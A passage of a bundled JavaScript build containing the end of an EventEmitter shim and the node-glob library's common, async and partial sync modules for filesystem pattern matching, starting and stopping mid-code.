this._events[type].length);\n      if (typeof console.trace === 'function') {\n        // not supported in IE 10\n        console.trace();\n      }\n    }\n  }\n\n  return this;\n};\n\nEventEmitter.prototype.on = EventEmitter.prototype.addListener;\n\nEventEmitter.prototype.once = function(type, listener) {\n  if (!isFunction(listener))\n    throw TypeError('listener must be a function');\n\n  var fired = false;\n\n  function g() {\n    this.removeListener(type, g);\n\n    if (!fired) {\n      fired = true;\n      listener.apply(this, arguments);\n    }\n  }\n\n  g.listener = listener;\n  this.on(type, g);\n\n  return this;\n};\n\n// emits a 'removeListener' event iff the listener was removed\nEventEmitter.prototype.removeListener = function(type, listener) {\n  var list, position, length, i;\n\n  if (!isFunction(listener))\n    throw TypeError('listener must be a function');\n\n  if (!this._events || !this._events[type])\n    return this;\n\n  list = this._events[type];\n  length = list.length;\n  position = -1;\n\n  if (list === listener ||\n      (isFunction(list.listener) && list.listener === listener)) {\n    delete this._events[type];\n    if (this._events.removeListener)\n      this.emit('removeListener', type, listener);\n\n  } else if (isObject(list)) {\n    for (i = length; i-- > 0;) {\n      if (list[i] === listener ||\n          (list[i].listener && list[i].listener === listener)) {\n        position = i;\n        break;\n      }\n    }\n\n    if (position < 0)\n      return this;\n\n    if (list.length === 1) {\n      list.length = 0;\n      delete this._events[type];\n    } else {\n      list.splice(position, 1);\n    }\n\n    if (this._events.removeListener)\n      this.emit('removeListener', type, listener);\n  }\n\n  return this;\n};\n\nEventEmitter.prototype.removeAllListeners = function(type) {\n  var key, listeners;\n\n  if (!this._events)\n    return this;\n\n  // not listening for removeListener, no need to emit\n  if (!this._events.removeListener) {\n    if (arguments.length === 0)\n      this._events = {};\n    else if (this._events[type])\n      delete this._events[type];\n    return this;\n  }\n\n  // emit removeListener for all listeners on all events\n  if (arguments.length === 0) {\n    for (key in this._events) {\n      if (key === 'removeListener') continue;\n      this.removeAllListeners(key);\n    }\n    this.removeAllListeners('removeListener');\n    this._events = {};\n    return this;\n  }\n\n  listeners = this._events[type];\n\n  if (isFunction(listeners)) {\n    this.removeListener(type, listeners);\n  } else {\n    // LIFO order\n    while (listeners.length)\n      this.removeListener(type, listeners[listeners.length - 1]);\n  }\n  delete this._events[type];\n\n  return this;\n};\n\nEventEmitter.prototype.listeners = function(type) {\n  var ret;\n  if (!this._events || !this._events[type])\n    ret = [];\n  else if (isFunction(this._events[type]))\n    ret = [this._events[type]];\n  else\n    ret = this._events[type].slice();\n  return ret;\n};\n\nEventEmitter.listenerCount = function(emitter, type) {\n  var ret;\n  if (!emitter._events || !emitter._events[type])\n    ret = 0;\n  else if (isFunction(emitter._events[type]))\n    ret = 1;\n  else\n    ret = emitter._events[type].length;\n  return ret;\n};\n\nfunction isFunction(arg) {\n  return typeof arg === 'function';\n}\n\nfunction isNumber(arg) {\n  return typeof arg === 'number';\n}\n\nfunction isObject(arg) {\n  return typeof arg === 'object' && arg !== null;\n}\n\nfunction isUndefined(arg) {\n  return arg === void 0;\n}\n\n},{}],15:[function(require,module,exports){\n(function (process){\nexports.alphasort = alphasort\nexports.alphasorti = alphasorti\nexports.setopts = setopts\nexports.ownProp = ownProp\nexports.makeAbs = makeAbs\nexports.finish = finish\nexports.mark = mark\nexports.isIgnored = isIgnored\nexports.childrenIgnored = childrenIgnored\n\nfunction ownProp (obj, field) {\n  return Object.prototype.hasOwnProperty.call(obj, field)\n}\n\nvar path = require(\"path\")\nvar minimatch = require(\"minimatch\")\nvar isAbsolute = require(\"path-is-absolute\")\nvar Minimatch = minimatch.Minimatch\n\nfunction alphasorti (a, b) {\n  return a.toLowerCase().localeCompare(b.toLowerCase())\n}\n\nfunction alphasort (a, b) {\n  return a.localeCompare(b)\n}\n\nfunction setupIgnores (self, options) {\n  self.ignore = options.ignore || []\n\n  if (!Array.isArray(self.ignore))\n    self.ignore = [self.ignore]\n\n  if (self.ignore.length) {\n    self.ignore = self.ignore.map(ignoreMap)\n  }\n}\n\nfunction ignoreMap (pattern) {\n  var gmatcher = null\n  if (pattern.slice(-3) === '/**') {\n    var gpattern = pattern.replace(/(\\/\\*\\*)+$/, '')\n    gmatcher = new Minimatch(gpattern)\n  }\n\n  return {\n    matcher: new Minimatch(pattern),\n    gmatcher: gmatcher\n  }\n}\n\nfunction setopts (self, pattern, options) {\n  if (!options)\n    options = {}\n\n  // base-matching: just use globstar for that.\n  if (options.matchBase && -1 === pattern.indexOf(\"/\")) {\n    if (options.noglobstar) {\n      throw new Error(\"base matching requires globstar\")\n    }\n    pattern = \"**/\" + pattern\n  }\n\n  self.silent = !!options.silent\n  self.pattern = pattern\n  self.strict = options.strict !== false\n  self.realpath = !!options.realpath\n  self.realpathCache = options.realpathCache || Object.create(null)\n  self.follow = !!options.follow\n  self.dot = !!options.dot\n  self.mark = !!options.mark\n  self.nodir = !!options.nodir\n  if (self.nodir)\n    self.mark = true\n  self.sync = !!options.sync\n  self.nounique = !!options.nounique\n  self.nonull = !!options.nonull\n  self.nosort = !!options.nosort\n  self.nocase = !!options.nocase\n  self.stat = !!options.stat\n  self.noprocess = !!options.noprocess\n\n  self.maxLength = options.maxLength || Infinity\n  self.cache = options.cache || Object.create(null)\n  self.statCache = options.statCache || Object.create(null)\n  self.symlinks = options.symlinks || Object.create(null)\n\n  setupIgnores(self, options)\n\n  self.changedCwd = false\n  var cwd = process.cwd()\n  if (!ownProp(options, \"cwd\"))\n    self.cwd = cwd\n  else {\n    self.cwd = options.cwd\n    self.changedCwd = path.resolve(options.cwd) !== cwd\n  }\n\n  self.root = options.root || path.resolve(self.cwd, \"/\")\n  self.root = path.resolve(self.root)\n  if (process.platform === \"win32\")\n    self.root = self.root.replace(/\\\\/g, \"/\")\n\n  self.nomount = !!options.nomount\n\n  // disable comments and negation unless the user explicitly\n  // passes in false as the option.\n  options.nonegate = options.nonegate === false ? false : true\n  options.nocomment = options.nocomment === false ? false : true\n  deprecationWarning(options)\n\n  self.minimatch = new Minimatch(pattern, options)\n  self.options = self.minimatch.options\n}\n\n// TODO(isaacs): remove entirely in v6\n// exported to reset in tests\nexports.deprecationWarned\nfunction deprecationWarning(options) {\n  if (!options.nonegate || !options.nocomment) {\n    if (process.noDeprecation !== true && !exports.deprecationWarned) {\n      var msg = 'glob WARNING: comments and negation will be disabled in v6'\n      if (process.throwDeprecation)\n        throw new Error(msg)\n      else if (process.traceDeprecation)\n        console.trace(msg)\n      else\n        console.error(msg)\n\n      exports.deprecationWarned = true\n    }\n  }\n}\n\nfunction finish (self) {\n  var nou = self.nounique\n  var all = nou ? [] : Object.create(null)\n\n  for (var i = 0, l = self.matches.length; i < l; i ++) {\n    var matches = self.matches[i]\n    if (!matches || Object.keys(matches).length === 0) {\n      if (self.nonull) {\n        // do like the shell, and spit out the literal glob\n        var literal = self.minimatch.globSet[i]\n        if (nou)\n          all.push(literal)\n        else\n          all[literal] = true\n      }\n    } else {\n      // had matches\n      var m = Object.keys(matches)\n      if (nou)\n        all.push.apply(all, m)\n      else\n        m.forEach(function (m) {\n          all[m] = true\n        })\n    }\n  }\n\n  if (!nou)\n    all = Object.keys(all)\n\n  if (!self.nosort)\n    all = all.sort(self.nocase ? alphasorti : alphasort)\n\n  // at *some* point we statted all of these\n  if (self.mark) {\n    for (var i = 0; i < all.length; i++) {\n      all[i] = self._mark(all[i])\n    }\n    if (self.nodir) {\n      all = all.filter(function (e) {\n        return !(/\\/$/.test(e))\n      })\n    }\n  }\n\n  if (self.ignore.length)\n    all = all.filter(function(m) {\n      return !isIgnored(self, m)\n    })\n\n  self.found = all\n}\n\nfunction mark (self, p) {\n  var abs = makeAbs(self, p)\n  var c = self.cache[abs]\n  var m = p\n  if (c) {\n    var isDir = c === 'DIR' || Array.isArray(c)\n    var slash = p.slice(-1) === '/'\n\n    if (isDir && !slash)\n      m += '/'\n    else if (!isDir && slash)\n      m = m.slice(0, -1)\n\n    if (m !== p) {\n      var mabs = makeAbs(self, m)\n      self.statCache[mabs] = self.statCache[abs]\n      self.cache[mabs] = self.cache[abs]\n    }\n  }\n\n  return m\n}\n\n// lotta situps...\nfunction makeAbs (self, f) {\n  var abs = f\n  if (f.charAt(0) === '/') {\n    abs = path.join(self.root, f)\n  } else if (isAbsolute(f) || f === '') {\n    abs = f\n  } else if (self.changedCwd) {\n    abs = path.resolve(self.cwd, f)\n  } else {\n    abs = path.resolve(f)\n  }\n  return abs\n}\n\n\n// Return true, if pattern ends with globstar '**', for the accompanying parent directory.\n// Ex:- If node_modules/** is the pattern, add 'node_modules' to ignore list along with it's contents\nfunction isIgnored (self, path) {\n  if (!self.ignore.length)\n    return false\n\n  return self.ignore.some(function(item) {\n    return item.matcher.match(path) || !!(item.gmatcher && item.gmatcher.match(path))\n  })\n}\n\nfunction childrenIgnored (self, path) {\n  if (!self.ignore.length)\n    return false\n\n  return self.ignore.some(function(item) {\n    return !!(item.gmatcher && item.gmatcher.match(path))\n  })\n}\n\n}).call(this,require('_process'))\n},{\"_process\":24,\"minimatch\":20,\"path\":22,\"path-is-absolute\":23}],16:[function(require,module,exports){\n(function (process){\n// Approach:\n//\n// 1. Get the minimatch set\n// 2. For each pattern in the set, PROCESS(pattern, false)\n// 3. Store matches per-set, then uniq them\n//\n// PROCESS(pattern, inGlobStar)\n// Get the first [n] items from pattern that are all strings\n// Join these together.  This is PREFIX.\n//   If there is no more remaining, then stat(PREFIX) and\n//   add to matches if it succeeds.  END.\n//\n// If inGlobStar and PREFIX is symlink and points to dir\n//   set ENTRIES = []\n// else readdir(PREFIX) as ENTRIES\n//   If fail, END\n//\n// with ENTRIES\n//   If pattern[n] is GLOBSTAR\n//     // handle the case where the globstar match is empty\n//     // by pruning it out, and testing the resulting pattern\n//     PROCESS(pattern[0..n] + pattern[n+1 .. $], false)\n//     // handle other cases.\n//     for ENTRY in ENTRIES (not dotfiles)\n//       // attach globstar + tail onto the entry\n//       // Mark that this entry is a globstar match\n//       PROCESS(pattern[0..n] + ENTRY + pattern[n .. $], true)\n//\n//   else // not globstar\n//     for ENTRY in ENTRIES (not dotfiles, unless pattern[n] is dot)\n//       Test ENTRY against pattern[n]\n//       If fails, continue\n//       If passes, PROCESS(pattern[0..n] + item + pattern[n+1 .. $])\n//\n// Caveat:\n//   Cache all stats and readdirs results to minimize syscall.  Since all\n//   we ever care about is existence and directory-ness, we can just keep\n//   `true` for files, and [children,...] for directories, or `false` for\n//   things that don't exist.\n\nmodule.exports = glob\n\nvar fs = require('fs')\nvar minimatch = require('minimatch')\nvar Minimatch = minimatch.Minimatch\nvar inherits = require('inherits')\nvar EE = require('events').EventEmitter\nvar path = require('path')\nvar assert = require('assert')\nvar isAbsolute = require('path-is-absolute')\nvar globSync = require('./sync.js')\nvar common = require('./common.js')\nvar alphasort = common.alphasort\nvar alphasorti = common.alphasorti\nvar setopts = common.setopts\nvar ownProp = common.ownProp\nvar inflight = require('inflight')\nvar util = require('util')\nvar childrenIgnored = common.childrenIgnored\nvar isIgnored = common.isIgnored\n\nvar once = require('once')\n\nfunction glob (pattern, options, cb) {\n  if (typeof options === 'function') cb = options, options = {}\n  if (!options) options = {}\n\n  if (options.sync) {\n    if (cb)\n      throw new TypeError('callback provided to sync glob')\n    return globSync(pattern, options)\n  }\n\n  return new Glob(pattern, options, cb)\n}\n\nglob.sync = globSync\nvar GlobSync = glob.GlobSync = globSync.GlobSync\n\n// old api surface\nglob.glob = glob\n\nglob.hasMagic = function (pattern, options_) {\n  var options = util._extend({}, options_)\n  options.noprocess = true\n\n  var g = new Glob(pattern, options)\n  var set = g.minimatch.set\n  if (set.length > 1)\n    return true\n\n  for (var j = 0; j < set[0].length; j++) {\n    if (typeof set[0][j] !== 'string')\n      return true\n  }\n\n  return false\n}\n\nglob.Glob = Glob\ninherits(Glob, EE)\nfunction Glob (pattern, options, cb) {\n  if (typeof options === 'function') {\n    cb = options\n    options = null\n  }\n\n  if (options && options.sync) {\n    if (cb)\n      throw new TypeError('callback provided to sync glob')\n    return new GlobSync(pattern, options)\n  }\n\n  if (!(this instanceof Glob))\n    return new Glob(pattern, options, cb)\n\n  setopts(this, pattern, options)\n  this._didRealPath = false\n\n  // process each pattern in the minimatch set\n  var n = this.minimatch.set.length\n\n  // The matches are stored as {<filename>: true,...} so that\n  // duplicates are automagically pruned.\n  // Later, we do an Object.keys() on these.\n  // Keep them as a list so we can fill in when nonull is set.\n  this.matches = new Array(n)\n\n  if (typeof cb === 'function') {\n    cb = once(cb)\n    this.on('error', cb)\n    this.on('end', function (matches) {\n      cb(null, matches)\n    })\n  }\n\n  var self = this\n  var n = this.minimatch.set.length\n  this._processing = 0\n  this.matches = new Array(n)\n\n  this._emitQueue = []\n  this._processQueue = []\n  this.paused = false\n\n  if (this.noprocess)\n    return this\n\n  if (n === 0)\n    return done()\n\n  for (var i = 0; i < n; i ++) {\n    this._process(this.minimatch.set[i], i, false, done)\n  }\n\n  function done () {\n    --self._processing\n    if (self._processing <= 0)\n      self._finish()\n  }\n}\n\nGlob.prototype._finish = function () {\n  assert(this instanceof Glob)\n  if (this.aborted)\n    return\n\n  if (this.realpath && !this._didRealpath)\n    return this._realpath()\n\n  common.finish(this)\n  this.emit('end', this.found)\n}\n\nGlob.prototype._realpath = function () {\n  if (this._didRealpath)\n    return\n\n  this._didRealpath = true\n\n  var n = this.matches.length\n  if (n === 0)\n    return this._finish()\n\n  var self = this\n  for (var i = 0; i < this.matches.length; i++)\n    this._realpathSet(i, next)\n\n  function next () {\n    if (--n === 0)\n      self._finish()\n  }\n}\n\nGlob.prototype._realpathSet = function (index, cb) {\n  var matchset = this.matches[index]\n  if (!matchset)\n    return cb()\n\n  var found = Object.keys(matchset)\n  var self = this\n  var n = found.length\n\n  if (n === 0)\n    return cb()\n\n  var set = this.matches[index] = Object.create(null)\n  found.forEach(function (p, i) {\n    // If there's a problem with the stat, then it means that\n    // one or more of the links in the realpath couldn't be\n    // resolved.  just return the abs value in that case.\n    p = self._makeAbs(p)\n    fs.realpath(p, self.realpathCache, function (er, real) {\n      if (!er)\n        set[real] = true\n      else if (er.syscall === 'stat')\n        set[p] = true\n      else\n        self.emit('error', er) // srsly wtf right here\n\n      if (--n === 0) {\n        self.matches[index] = set\n        cb()\n      }\n    })\n  })\n}\n\nGlob.prototype._mark = function (p) {\n  return common.mark(this, p)\n}\n\nGlob.prototype._makeAbs = function (f) {\n  return common.makeAbs(this, f)\n}\n\nGlob.prototype.abort = function () {\n  this.aborted = true\n  this.emit('abort')\n}\n\nGlob.prototype.pause = function () {\n  if (!this.paused) {\n    this.paused = true\n    this.emit('pause')\n  }\n}\n\nGlob.prototype.resume = function () {\n  if (this.paused) {\n    this.emit('resume')\n    this.paused = false\n    if (this._emitQueue.length) {\n      var eq = this._emitQueue.slice(0)\n      this._emitQueue.length = 0\n      for (var i = 0; i < eq.length; i ++) {\n        var e = eq[i]\n        this._emitMatch(e[0], e[1])\n      }\n    }\n    if (this._processQueue.length) {\n      var pq = this._processQueue.slice(0)\n      this._processQueue.length = 0\n      for (var i = 0; i < pq.length; i ++) {\n        var p = pq[i]\n        this._processing--\n        this._process(p[0], p[1], p[2], p[3])\n      }\n    }\n  }\n}\n\nGlob.prototype._process = function (pattern, index, inGlobStar, cb) {\n  assert(this instanceof Glob)\n  assert(typeof cb === 'function')\n\n  if (this.aborted)\n    return\n\n  this._processing++\n  if (this.paused) {\n    this._processQueue.push([pattern, index, inGlobStar, cb])\n    return\n  }\n\n  //console.error('PROCESS %d', this._processing, pattern)\n\n  // Get the first [n] parts of pattern that are all strings.\n  var n = 0\n  while (typeof pattern[n] === 'string') {\n    n ++\n  }\n  // now n is the index of the first one that is *not* a string.\n\n  // see if there's anything else\n  var prefix\n  switch (n) {\n    // if not, then this is rather simple\n    case pattern.length:\n      this._processSimple(pattern.join('/'), index, cb)\n      return\n\n    case 0:\n      // pattern *starts* with some non-trivial item.\n      // going to readdir(cwd), but not include the prefix in matches.\n      prefix = null\n      break\n\n    default:\n      // pattern has some string bits in the front.\n      // whatever it starts with, whether that's 'absolute' like /foo/bar,\n      // or 'relative' like '../baz'\n      prefix = pattern.slice(0, n).join('/')\n      break\n  }\n\n  var remain = pattern.slice(n)\n\n  // get the list of entries.\n  var read\n  if (prefix === null)\n    read = '.'\n  else if (isAbsolute(prefix) || isAbsolute(pattern.join('/'))) {\n    if (!prefix || !isAbsolute(prefix))\n      prefix = '/' + prefix\n    read = prefix\n  } else\n    read = prefix\n\n  var abs = this._makeAbs(read)\n\n  //if ignored, skip _processing\n  if (childrenIgnored(this, read))\n    return cb()\n\n  var isGlobStar = remain[0] === minimatch.GLOBSTAR\n  if (isGlobStar)\n    this._processGlobStar(prefix, read, abs, remain, index, inGlobStar, cb)\n  else\n    this._processReaddir(prefix, read, abs, remain, index, inGlobStar, cb)\n}\n\nGlob.prototype._processReaddir = function (prefix, read, abs, remain, index, inGlobStar, cb) {\n  var self = this\n  this._readdir(abs, inGlobStar, function (er, entries) {\n    return self._processReaddir2(prefix, read, abs, remain, index, inGlobStar, entries, cb)\n  })\n}\n\nGlob.prototype._processReaddir2 = function (prefix, read, abs, remain, index, inGlobStar, entries, cb) {\n\n  // if the abs isn't a dir, then nothing can match!\n  if (!entries)\n    return cb()\n\n  // It will only match dot entries if it starts with a dot, or if\n  // dot is set.  Stuff like @(.foo|.bar) isn't allowed.\n  var pn = remain[0]\n  var negate = !!this.minimatch.negate\n  var rawGlob = pn._glob\n  var dotOk = this.dot || rawGlob.charAt(0) === '.'\n\n  var matchedEntries = []\n  for (var i = 0; i < entries.length; i++) {\n    var e = entries[i]\n    if (e.charAt(0) !== '.' || dotOk) {\n      var m\n      if (negate && !prefix) {\n        m = !e.match(pn)\n      } else {\n        m = e.match(pn)\n      }\n      if (m)\n        matchedEntries.push(e)\n    }\n  }\n\n  //console.error('prd2', prefix, entries, remain[0]._glob, matchedEntries)\n\n  var len = matchedEntries.length\n  // If there are no matched entries, then nothing matches.\n  if (len === 0)\n    return cb()\n\n  // if this is the last remaining pattern bit, then no need for\n  // an additional stat *unless* the user has specified mark or\n  // stat explicitly.  We know they exist, since readdir returned\n  // them.\n\n  if (remain.length === 1 && !this.mark && !this.stat) {\n    if (!this.matches[index])\n      this.matches[index] = Object.create(null)\n\n    for (var i = 0; i < len; i ++) {\n      var e = matchedEntries[i]\n      if (prefix) {\n        if (prefix !== '/')\n          e = prefix + '/' + e\n        else\n          e = prefix + e\n      }\n\n      if (e.charAt(0) === '/' && !this.nomount) {\n        e = path.join(this.root, e)\n      }\n      this._emitMatch(index, e)\n    }\n    // This was the last one, and no stats were needed\n    return cb()\n  }\n\n  // now test all matched entries as stand-ins for that part\n  // of the pattern.\n  remain.shift()\n  for (var i = 0; i < len; i ++) {\n    var e = matchedEntries[i]\n    var newPattern\n    if (prefix) {\n      if (prefix !== '/')\n        e = prefix + '/' + e\n      else\n        e = prefix + e\n    }\n    this._process([e].concat(remain), index, inGlobStar, cb)\n  }\n  cb()\n}\n\nGlob.prototype._emitMatch = function (index, e) {\n  if (this.aborted)\n    return\n\n  if (this.matches[index][e])\n    return\n\n  if (isIgnored(this, e))\n    return\n\n  if (this.paused) {\n    this._emitQueue.push([index, e])\n    return\n  }\n\n  var abs = this._makeAbs(e)\n\n  if (this.nodir) {\n    var c = this.cache[abs]\n    if (c === 'DIR' || Array.isArray(c))\n      return\n  }\n\n  if (this.mark)\n    e = this._mark(e)\n\n  this.matches[index][e] = true\n\n  var st = this.statCache[abs]\n  if (st)\n    this.emit('stat', e, st)\n\n  this.emit('match', e)\n}\n\nGlob.prototype._readdirInGlobStar = function (abs, cb) {\n  if (this.aborted)\n    return\n\n  // follow all symlinked directories forever\n  // just proceed as if this is a non-globstar situation\n  if (this.follow)\n    return this._readdir(abs, false, cb)\n\n  var lstatkey = 'lstat\\0' + abs\n  var self = this\n  var lstatcb = inflight(lstatkey, lstatcb_)\n\n  if (lstatcb)\n    fs.lstat(abs, lstatcb)\n\n  function lstatcb_ (er, lstat) {\n    if (er)\n      return cb()\n\n    var isSym = lstat.isSymbolicLink()\n    self.symlinks[abs] = isSym\n\n    // If it's not a symlink or a dir, then it's definitely a regular file.\n    // don't bother doing a readdir in that case.\n    if (!isSym && !lstat.isDirectory()) {\n      self.cache[abs] = 'FILE'\n      cb()\n    } else\n      self._readdir(abs, false, cb)\n  }\n}\n\nGlob.prototype._readdir = function (abs, inGlobStar, cb) {\n  if (this.aborted)\n    return\n\n  cb = inflight('readdir\\0'+abs+'\\0'+inGlobStar, cb)\n  if (!cb)\n    return\n\n  //console.error('RD %j %j', +inGlobStar, abs)\n  if (inGlobStar && !ownProp(this.symlinks, abs))\n    return this._readdirInGlobStar(abs, cb)\n\n  if (ownProp(this.cache, abs)) {\n    var c = this.cache[abs]\n    if (!c || c === 'FILE')\n      return cb()\n\n    if (Array.isArray(c))\n      return cb(null, c)\n  }\n\n  var self = this\n  fs.readdir(abs, readdirCb(this, abs, cb))\n}\n\nfunction readdirCb (self, abs, cb) {\n  return function (er, entries) {\n    if (er)\n      self._readdirError(abs, er, cb)\n    else\n      self._readdirEntries(abs, entries, cb)\n  }\n}\n\nGlob.prototype._readdirEntries = function (abs, entries, cb) {\n  if (this.aborted)\n    return\n\n  // if we haven't asked to stat everything, then just\n  // assume that everything in there exists, so we can avoid\n  // having to stat it a second time.\n  if (!this.mark && !this.stat) {\n    for (var i = 0; i < entries.length; i ++) {\n      var e = entries[i]\n      if (abs === '/')\n        e = abs + e\n      else\n        e = abs + '/' + e\n      this.cache[e] = true\n    }\n  }\n\n  this.cache[abs] = entries\n  return cb(null, entries)\n}\n\nGlob.prototype._readdirError = function (f, er, cb) {\n  if (this.aborted)\n    return\n\n  // handle errors, and cache the information\n  switch (er.code) {\n    case 'ENOTSUP': // https://github.com/isaacs/node-glob/issues/205\n    case 'ENOTDIR': // totally normal. means it *does* exist.\n      this.cache[this._makeAbs(f)] = 'FILE'\n      break\n\n    case 'ENOENT': // not terribly unusual\n    case 'ELOOP':\n    case 'ENAMETOOLONG':\n    case 'UNKNOWN':\n      this.cache[this._makeAbs(f)] = false\n      break\n\n    default: // some unusual error.  Treat as failure.\n      this.cache[this._makeAbs(f)] = false\n      if (this.strict) {\n        this.emit('error', er)\n        // If the error is handled, then we abort\n        // if not, we threw out of here\n        this.abort()\n      }\n      if (!this.silent)\n        console.error('glob error', er)\n      break\n  }\n\n  return cb()\n}\n\nGlob.prototype._processGlobStar = function (prefix, read, abs, remain, index, inGlobStar, cb) {\n  var self = this\n  this._readdir(abs, inGlobStar, function (er, entries) {\n    self._processGlobStar2(prefix, read, abs, remain, index, inGlobStar, entries, cb)\n  })\n}\n\n\nGlob.prototype._processGlobStar2 = function (prefix, read, abs, remain, index, inGlobStar, entries, cb) {\n  //console.error('pgs2', prefix, remain[0], entries)\n\n  // no entries means not a dir, so it can never have matches\n  // foo.txt/** doesn't match foo.txt\n  if (!entries)\n    return cb()\n\n  // test without the globstar, and with every child both below\n  // and replacing the globstar.\n  var remainWithoutGlobStar = remain.slice(1)\n  var gspref = prefix ? [ prefix ] : []\n  var noGlobStar = gspref.concat(remainWithoutGlobStar)\n\n  // the noGlobStar pattern exits the inGlobStar state\n  this._process(noGlobStar, index, false, cb)\n\n  var isSym = this.symlinks[abs]\n  var len = entries.length\n\n  // If it's a symlink, and we're in a globstar, then stop\n  if (isSym && inGlobStar)\n    return cb()\n\n  for (var i = 0; i < len; i++) {\n    var e = entries[i]\n    if (e.charAt(0) === '.' && !this.dot)\n      continue\n\n    // these two cases enter the inGlobStar state\n    var instead = gspref.concat(entries[i], remainWithoutGlobStar)\n    this._process(instead, index, true, cb)\n\n    var below = gspref.concat(entries[i], remain)\n    this._process(below, index, true, cb)\n  }\n\n  cb()\n}\n\nGlob.prototype._processSimple = function (prefix, index, cb) {\n  // XXX review this.  Shouldn't it be doing the mounting etc\n  // before doing stat?  kinda weird?\n  var self = this\n  this._stat(prefix, function (er, exists) {\n    self._processSimple2(prefix, index, er, exists, cb)\n  })\n}\nGlob.prototype._processSimple2 = function (prefix, index, er, exists, cb) {\n\n  //console.error('ps2', prefix, exists)\n\n  if (!this.matches[index])\n    this.matches[index] = Object.create(null)\n\n  // If it doesn't exist, then just mark the lack of results\n  if (!exists)\n    return cb()\n\n  if (prefix && isAbsolute(prefix) && !this.nomount) {\n    var trail = /[\\/\\\\]$/.test(prefix)\n    if (prefix.charAt(0) === '/') {\n      prefix = path.join(this.root, prefix)\n    } else {\n      prefix = path.resolve(this.root, prefix)\n      if (trail)\n        prefix += '/'\n    }\n  }\n\n  if (process.platform === 'win32')\n    prefix = prefix.replace(/\\\\/g, '/')\n\n  // Mark this as a match\n  this._emitMatch(index, prefix)\n  cb()\n}\n\n// Returns either 'DIR', 'FILE', or false\nGlob.prototype._stat = function (f, cb) {\n  var abs = this._makeAbs(f)\n  var needDir = f.slice(-1) === '/'\n\n  if (f.length > this.maxLength)\n    return cb()\n\n  if (!this.stat && ownProp(this.cache, abs)) {\n    var c = this.cache[abs]\n\n    if (Array.isArray(c))\n      c = 'DIR'\n\n    // It exists, but maybe not how we need it\n    if (!needDir || c === 'DIR')\n      return cb(null, c)\n\n    if (needDir && c === 'FILE')\n      return cb()\n\n    // otherwise we have to stat, because maybe c=true\n    // if we know it exists, but not what it is.\n  }\n\n  var exists\n  var stat = this.statCache[abs]\n  if (stat !== undefined) {\n    if (stat === false)\n      return cb(null, stat)\n    else {\n      var type = stat.isDirectory() ? 'DIR' : 'FILE'\n      if (needDir && type === 'FILE')\n        return cb()\n      else\n        return cb(null, type, stat)\n    }\n  }\n\n  var self = this\n  var statcb = inflight('stat\\0' + abs, lstatcb_)\n  if (statcb)\n    fs.lstat(abs, statcb)\n\n  function lstatcb_ (er, lstat) {\n    if (lstat && lstat.isSymbolicLink()) {\n      // If it's a symlink, then treat it as the target, unless\n      // the target does not exist, then treat it as a file.\n      return fs.stat(abs, function (er, stat) {\n        if (er)\n          self._stat2(f, abs, null, lstat, cb)\n        else\n          self._stat2(f, abs, er, stat, cb)\n      })\n    } else {\n      self._stat2(f, abs, er, lstat, cb)\n    }\n  }\n}\n\nGlob.prototype._stat2 = function (f, abs, er, stat, cb) {\n  if (er) {\n    this.statCache[abs] = false\n    return cb()\n  }\n\n  var needDir = f.slice(-1) === '/'\n  this.statCache[abs] = stat\n\n  if (abs.slice(-1) === '/' && !stat.isDirectory())\n    return cb(null, false, stat)\n\n  var c = stat.isDirectory() ? 'DIR' : 'FILE'\n  this.cache[abs] = this.cache[abs] || c\n\n  if (needDir && c !== 'DIR')\n    return cb()\n\n  return cb(null, c, stat)\n}\n\n}).call(this,require('_process'))\n},{\"./common.js\":15,\"./sync.js\":17,\"_process\":24,\"assert\":9,\"events\":14,\"fs\":12,\"inflight\":18,\"inherits\":19,\"minimatch\":20,\"once\":21,\"path\":22,\"path-is-absolute\":23,\"util\":28}],17:[function(require,module,exports){\n(function (process){\nmodule.exports = globSync\nglobSync.GlobSync = GlobSync\n\nvar fs = require('fs')\nvar minimatch = require('minimatch')\nvar Minimatch = minimatch.Minimatch\nvar Glob = require('./glob.js').Glob\nvar util = require('util')\nvar path = require('path')\nvar assert = require('assert')\nvar isAbsolute = require('path-is-absolute')\nvar common = require('./common.js')\nvar alphasort = common.alphasort\nvar alphasorti = common.alphasorti\nvar setopts = common.setopts\nvar ownProp = common.ownProp\nvar childrenIgnored = common.childrenIgnored\n\nfunction globSync (pattern, options) {\n  if (typeof options === 'function' || arguments.length === 3)\n    throw new TypeError('callback provided to sync glob\\n'+\n                        'See: https://github.com/isaacs/node-glob/issues/167')\n\n  return new GlobSync(pattern, options).found\n}\n\nfunction GlobSync (pattern, options) {\n  if (!pattern)\n    throw new Error('must provide pattern')\n\n  if (typeof options === 'function' || arguments.length === 3)\n    throw new TypeError('callback provided to sync glob\\n'+\n                        'See: https://github.com/isaacs/node-glob/issues/167')\n\n  if (!(this instanceof GlobSync))\n    return new GlobSync(pattern, options)\n\n  setopts(this, pattern, options)\n\n  if (this.noprocess)\n    return this\n\n  var n = this.minimatch.set.length\n  this.matches = new Array(n)\n  for (var i = 0; i < n; i ++) {\n    this._process(this.minimatch.set[i], i, false)\n  }\n  this._finish()\n}\n\nGlobSync.prototype._finish = function () {\n  assert(this instanceof GlobSync)\n  if (this.realpath) {\n    var self = this\n    this.matches.forEach(function (matchset, index) {\n      var set = self.matches[index] = Object.create(null)\n      for (var p in matchset) {\n        try {\n          p = self._makeAbs(p)\n          var real = fs.realpathSync(p, self.realpathCache)\n          set[real] = true\n        } catch (er) {\n          if (er.syscall === 'stat')\n            set[self._makeAbs(p)] = true\n          else\n            throw er\n        }\n      }\n    })\n  }\n  common.finish(this)\n}\n\n\nGlobSync.prototype._process = function (pattern, index, inGlobStar) {\n  assert(this instanceof GlobSync)\n\n  // Get the first [n] parts of pattern that are all strings.\n  var n = 0\n  while (typeof pattern[n] === 'string') {\n    n ++\n  }\n  // now n is the index of the first one that is *not* a string.\n\n  // See if there's anything else\n  var prefix\n  switch (n) {\n    // if not, then this is rather simple\n    case pattern.length:\n      this._processSimple(pattern.join('/'), index)\n      return\n\n    case 0:\n      // pattern *starts* with some non-trivial item.\n      // going to readdir(cwd), but not include the prefix in matches.\n      prefix = null\n      break\n\n    default:\n      // pattern has some string bits in the front.\n      // whatever it starts with, whether that's 'absolute' like /foo/bar,\n      // or 'relative' like '../baz'\n      prefix = pattern.slice(0, n).join('/')\n      break\n  }\n\n  var remain = pattern.slice(n)\n\n  // get the list of entries.\n  var read\n  if (prefix === null)\n    read = '.'\n  else if (isAbsolute(prefix) || isAbsolute(pattern.join('/'))) {\n    if (!prefix || !isAbsolute(prefix))\n      prefix = '/' + prefix\n    read = prefix\n  } else\n    read = prefix\n\n  var abs = this._makeAbs(read)\n\n 